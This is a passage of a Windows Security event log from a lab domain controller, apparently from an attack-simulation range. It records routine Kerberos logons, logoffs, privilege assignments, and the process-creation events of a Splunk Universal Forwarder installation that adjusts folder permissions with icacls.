SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250057 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFAB54 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250056 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFAB54 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64382 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250055 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFAB54 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250101 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1330 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: splunkd rest --noauth POST /services/apps/local/SplunkUniversalForwarder/enable - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250100 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1330 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x130c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" cmd splunkd rest --noauth POST /services/apps/local/SplunkUniversalForwarder/enable - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250099 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x130c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" cmd splunkd rest --noauth POST /services/apps/local/SplunkUniversalForwarder/enable >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ec - New Process Name: C:\Windows\System32\icacls.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12c8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder\*" /inheritance:e /T /C - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250096 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12c8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250095 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder\*" /inheritance:e /T /C >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250094 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\System32\icacls.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1290 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder" /remove:g *BU /T /C - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250093 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1298 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1290 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250092 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1290 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder" /remove:g *BU /T /C >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250091 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Windows\System32\icacls.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1258 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder" /inheritance:d - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250090 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1260 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1258 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250089 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Windows\system32\icacls.exe "C:\Program Files\SplunkUniversalForwarder" /inheritance:d >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250088 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB8AE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250087 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFB8AE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64389 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250086 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB8AE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250085 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB84D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250084 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFB84D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64388 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250083 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB84D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250082 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFB7E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250081 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - 